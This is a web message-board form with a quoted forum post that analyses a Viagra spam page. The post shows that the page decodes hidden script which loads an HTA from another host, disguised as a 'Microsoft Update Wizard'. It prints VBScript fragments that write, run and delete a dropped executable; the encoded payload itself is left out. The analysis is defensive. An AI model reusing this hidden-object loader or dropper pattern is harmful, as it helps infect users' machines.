Name (required):

  Expression ^{(Optional mood/title along with your name) Examples: (happy, sad, The Joyful, etc.) help)}

  E-mail address (optional):

Type your message here:
>Viagra or Trojan? [well, if you get Viagra, I guess >you would > be using Trojans ...] > >Spamvertized URL: >http://alldolly.net/discounts/?pid=evaph3770 > >(NANAS posting: > Subject: [email] V1@GRA --> 80% D1SC0UNT!! >jjxcxuiz lqihjgkuf) > >The site appears to be a Viagra site but the ordering >is down now. >Was it ever up or is the site a fake Viagra site used >to install >a trojan? > > > >------------------------------------------------------- >----- > There is a header section on the spamvertized page >which is > mildly encrypted (decimal ascii values for the >characters) > which defines two functions: > DecodeHead() (which is immediately run) and > DecodeB() (run at the end of the page) > > What do we get? > > [object >data="http://www.extreme-rapes.com/cgi-bin/htmlhelp.cgi >" > style="display:none"][/object] > > What is >"http://www.extreme-rapes.com/cgi-bin/htmlhelp.cgi"? > > Content-Type: application/hta > > [TITLE]Microsoft Update Wizard[/TITLE] > APPLICATIONNAME="Microsoft Update" > SHOWINTASKBAR=NO > CAPTION=YES > SINGLEINSTANCE=YES > MAXIMIZEBUTTON=NO > MINIMIZEBUTTON=NO > WINDOWSTATE=MINIMIZE > > [OBJECT id="MSmedia" >classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"][/ >OBJECT] > [OBJECT id="MSplay" >classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"][/ >OBJECT] > [BODY][SCRIPT language="VBScript"] > > self.MoveTo 6000,6000 > > [Then 61 lines of hex encoded data.] > > FileName="C:\netlog.exe" > set IESetup=MSmedia.CreateTextFile(FileName, TRUE) > [write the bytes of the code to the file: > IESetup.Write(Chr(Exe_Byte))] > MSplay.Run (FileName),1,TRUE > MSmedia.DeleteFile(FileName) > >------------------------------------------------------- >-----

Notice: Copies of your message may remain on this and other systems on internet. Please be respectful.